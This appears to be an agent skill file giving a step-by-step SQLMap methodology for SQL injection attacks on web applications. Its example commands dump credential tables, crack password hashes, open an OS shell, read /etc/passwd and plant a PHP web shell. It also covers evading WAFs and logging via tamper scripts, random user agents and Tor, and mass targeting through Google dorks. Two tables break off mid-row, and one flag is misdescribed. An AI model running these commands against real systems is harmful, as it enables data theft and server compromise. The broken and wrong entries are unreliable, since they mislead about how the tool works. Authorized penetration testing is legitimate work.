SQLMap Database Penetration Testing
Purpose
Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
Inputs / Prerequisites
- Target URL: Web application URL with injectable parameter (e.g.,
?id=1)
- SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub
- Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable
- Request File (Optional): Burp Suite captured HTTP request for POST-based injection
- Authorization: Written permission for penetration testing activities
Outputs / Deliverables
- Database Enumeration: List of all databases on the target server
- Table Structure: Complete table names within target database
- Column Mapping: Column names and data types for each table
- Extracted Data: Dumped records including usernames, passwords, and sensitive data
- Hash Values: Password hashes for offline cracking
- Vulnerability Report: Confirmation of SQL injection type and severity
Core Workflow
1. Identify SQL Injection Vulnerability
Manual Verification
# Add single quote to break query
http://target.com/page.php?id=1'
# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"
Initial SQLMap Scan
# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch
# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
2. Enumerate Databases
List All Databases
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
Key Options:
-u: Target URL with injectable parameter--dbs: Enumerate database names--batch: Use default answers (non-interactive mode)
3. Enumerate Tables
List Tables in Specific Database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
Key Options:
-D: Specify target database name--tables: Enumerate table names
4. Enumerate Columns
List Columns in Specific Table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
Key Options:
-T: Specify target table name--columns: Enumerate column names
5. Extract Data
Dump Specific Table Data
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
Dump Specific Columns
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
Dump Entire Database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
Key Options:
--dump: Extract all data from specified table--dump-all: Extract all data from all tables-C: Specify column names to extract
6. Advanced Target Options
Target from HTTP Request File
# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch
Target from Log File
# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch
Target Multiple URLs (Bulk File)
# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch
Target via Google Dorks (Use with Caution)
# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch
Quick Reference Commands
Database Enumeration Progression
| Stage | Command |
|---|
| List Databases | sqlmap -u "URL" --dbs --batch |
| List Tables | sqlmap -u "URL" -D dbname --tables --batch |
| List Columns | sqlmap -u "URL" -D dbname -T tablename --columns --batch |
| Dump Data | sqlmap -u "URL" -D dbname -T tablename --dump --batch |
| Dump All | sqlmap -u "URL" -D dbname --dump-all --batch |
Supported Database Management Systems
| DBMS | Support Level |
|---|
| MySQL | Full Support |
| PostgreSQL | Full Support |
| Microsoft SQL Server | Full Support |
| Oracle | Full Support |
| Microsoft Access | Full Support |
| IBM DB2 | Full Support |
| SQLite | Full Support |
| Firebird | Full Support |
| Sybase | Full Support |
| SAP MaxDB | Full Support |
| HSQLDB | Full Support |
| Informix | Full Support |
SQL Injection Techniques
| Technique | Description | Flag |
|---|
| Boolean-based blind | Infers data from true/false responses | --technique=B |
| Time-based blind | Uses time delays to infer data | --technique=T |
| Error-based | Extracts data from error messages | --technique=E |
| UNION query-based | Uses UNION to append results | --technique=U |
| Stacked queries | Executes multiple statements | --technique=S |
| Out-of-band |
Essential Options
| Option | Description |
|---|
-u | Target URL |
-r | Load HTTP request from file |
-l | Parse targets from Burp/WebScarab log |
-m | Bulk file with multiple targets |
-g | Google dork (use responsibly) |
--dbs | Enumerate databases |
--tables |
Constraints and Limitations
Operational Boundaries
- Requires valid injectable parameter in target URL
- Network connectivity to target database server required
- Large database dumps may take significant time
- Some WAF/IPS systems may block SQLMap traffic
- Time-based attacks significantly slower than error-based
Performance Considerations
- Use
--threads to speed up enumeration (default: 1)
- Limit dumps with
--start and --stop for large tables
- Use
--technique to specify faster injection method if known
Legal Requirements
- Only test systems with explicit written authorization
- Google dork attacks against unknown sites are illegal
- Document all testing activities and findings
- Respect scope limitations defined in engagement rules
Detection Risk
- SQLMap generates significant log entries
- Use
--random-agent to vary User-Agent header
- Consider
--delay to avoid triggering rate limits
- Proxy through Tor with
--tor for anonymity (authorized tests only)
Examples
Example 1: Complete Database Enumeration
# Step 1: Discover databases
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
# Result: acuart database found
# Step 2: List tables
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
# Result: users, products, carts, etc.
# Step 3: List columns
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
# Result: username, password, email columns
# Step 4: Dump user credentials
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
Example 2: POST Request Injection
# Save Burp request to file (login.txt):
# POST /login.php HTTP/1.1
# Host: target.com
# Content-Type: application/x-www-form-urlencoded
#
# username=admin&password=test
# Run SQLMap with request file
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
Example 3: Bulk Target Scanning
# Create bulkfile.txt:
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
# Scan all targets
sqlmap -m bulkfile.txt --dbs --batch
Example 4: Aggressive Testing
# High level and risk for thorough testing
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
# Specify all techniques
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
Example 5: Extract Specific Credentials
# Target specific columns
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T admin_users \
-C admin_name,admin_pass,admin_email \
--dump --batch
# Automatically crack password hashes
sqlmap -u "http://target.com/page.php?id=1" \
-D webapp \
-T users \
--dump --batch \
--passwords
Example 6: OS Shell Access (Advanced)
# Get interactive OS shell (requires DBA privileges)
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
# Execute specific OS command
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
# File read from server
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
# File upload to server
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
Troubleshooting
Issue: "Parameter does not seem injectable"
Cause: SQLMap cannot find injection point
Solution:
# Increase testing level and risk
sqlmap -u "URL" --dbs --batch --level=5 --risk=3
# Specify parameter explicitly
sqlmap -u "URL" -p "id" --dbs --batch
# Try different injection techniques
sqlmap -u "URL" --dbs --batch --technique=BT
# Add prefix/suffix for filter bypass
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"
Issue: Target Behind WAF/Firewall
Cause: Web Application Firewall blocking requests
Solution:
# Use tamper scripts
sqlmap -u "URL" --dbs --batch --tamper=space2comment
# List available tamper scripts
sqlmap --list-tampers
# Common tamper combinations
sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase
# Add delay between requests
sqlmap -u "URL" --dbs --batch --delay=2
# Use random User-Agent
sqlmap -u "URL" --dbs --batch --random-agent
Issue: Connection Timeout
Cause: Network issues or slow target
Solution:
# Increase timeout
sqlmap -u "URL" --dbs --batch --timeout=60
# Reduce threads
sqlmap -u "URL" --dbs --batch --threads=1
# Add retries
sqlmap -u "URL" --dbs --batch --retries=5
Issue: Time-Based Attacks Too Slow
Cause: Default time delay too conservative
Solution:
# Reduce time delay (risky, may cause false negatives)
sqlmap -u "URL" --dbs --batch --time-sec=3
# Use boolean-based instead if possible
sqlmap -u "URL" --dbs --batch --technique=B
Issue: Cannot Dump Large Tables
Cause: Table has too many records
Solution:
# Limit number of records
sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100
# Dump specific columns only
sqlmap -u "URL" -D db -T table -C username,password --dump --batch
# Exclude specific columns
sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs
Issue: Session Drops During Long Scan
Cause: Session timeout or connection reset
Solution:
# Save and resume session
sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session
# Resume from saved session
sqlmap -u "URL" --dbs --batch --resume
# Use persistent HTTP connection
sqlmap -u "URL" --dbs --batch --keep-alive
